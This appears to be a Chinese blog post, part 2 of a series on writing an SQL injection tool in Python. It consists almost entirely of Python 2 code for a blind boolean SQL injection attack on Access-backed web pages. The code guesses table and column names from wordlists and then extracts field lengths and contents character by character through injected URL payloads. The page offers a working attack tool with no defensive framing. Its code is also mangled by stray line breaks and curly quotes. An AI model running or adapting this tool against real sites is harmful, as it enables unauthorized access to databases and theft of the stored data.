Python编写SQL注入工具(2)
                        
                            时间:2021-07-01 10:21:17
                            帮助过:2人阅读
							                        
                     
                    
                    
                    coding=gb2312
import urllib
import string
#定义Access注入函数
class AccessInject():
    def __init__(self,url):
        self.url=
url
        self.tableNames=
[]
        self.cloumnNames=
[]
        self.length=
0
    #定义获取表名的函数,使用文件猜解的方式
    #主要SQL语句:.and exists (select * from 数据库表名)
    def getTableName(self):
        n=
0
        tablefile = open(
"table.txt")
        for line 
in tablefile.readlines():
            line =
 string.strip(line)
            sql = string.join([
‘%20and%20exists%20(select%20*%20from%20‘,line,
‘)‘],
‘‘)
            page=
urllib.urlopen(self.url).read()
            pagex=urllib.urlopen(self.url+
sql).read()
            if page==
pagex:
                self.tableNames.append(line)
            else:
                continue
        if len(self.tableNames)==
0:
            n=
0
            print ‘未猜解到表名.‘
            return n
        else:
            n=
len(self.tableNames)
            print ‘存在表:‘
            for t 
in self.tableNames:
                print t
            return n
        print ‘‘
    #定义获取列名的函数
    #主要SQL语句:and exists (select 字段名 from 表名)
    def getColumnName(self,TN):
        column = open(
"columns.txt")
        for columnline 
in column.readlines():
            columnline =
 string.strip(columnline)
            sql = string.join([
‘%20and%20exists%20(select%20‘,columnline,
‘%20from%20‘,TN,
‘)‘],
‘‘)
            page=
urllib.urlopen(self.url).read()
            pagex=urllib.urlopen(self.url+
sql).read()
            if page==
pagex:
                self.cloumnNames.append(columnline)
            else:
                continue
        if len(self.cloumnNames)==
0:
            print ‘未猜解出列名.‘
        else:
            print ‘存在列:‘
            for c 
in self.cloumnNames:
                print c
    #定义获取字段长度的函数
    #主要使用二分法
    #主要SQL语句:and (select top 1 len(字段) from 表名)> n
    def getColumnLenth(self,TN,CN,f1=0,f2=36
):
        page=
urllib.urlopen(self.url).read()
        while f1<=
f2:
            mid=(f1+f2)/2
            u=self.url+
‘%20and%20(select%20top%201%20len%20(‘
            u+=
CN
            u+=
‘)%20from%20‘
            u+=
TN
            u+=
‘)>‘
            ux=u+
str(mid)
            pagex=
urllib.urlopen(ux).read()
            if page==
pagex:
                uy=u+str(mid+1
)
                pagey=
urllib.urlopen(uy).read()
                if page!=
pagey:
                    self.length=mid+1
                    
print CN,
‘内容长度:‘,self.length
                    return self.length
                    break
                else:
                    f1=mid+1
            
else:
                f2=
mid
     #定义获取字段内容的函数
     #主要使用二分法
     #主要SQL语句:and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
    def getContent(self,TN,CN,lenth):
        content=
‘‘
        page=
urllib.urlopen(self.url).read()
        for n 
in range(1,lenth+1
):
            f1=32
            f2=128
            
while f1<=
f2:
                mid=(f1+f2)/2
                url=self.url+
"%20and%20(select%20top%201%20asc%20(mid("
                url+=
CN
                url+=
‘,‘
                url+=
str(n)
                url+=
",1))%20from%20"
                url+=
TN
                url+=
")>"
                urlx=url+
str(mid)
                pagex=
urllib.urlopen(urlx).read()
                if page==
pagex:
                    urly=url+str(mid+1
)
                    pagey=
urllib.urlopen(urly).read()
                    if page!=
pagey:
                        content+=chr(mid+1
)
                        break
                    else:
                        f1=
mid
                else:
                    f2=
mid
        print CN,
‘内容:‘,content
 
Python编写SQL注入工具(2)
标签: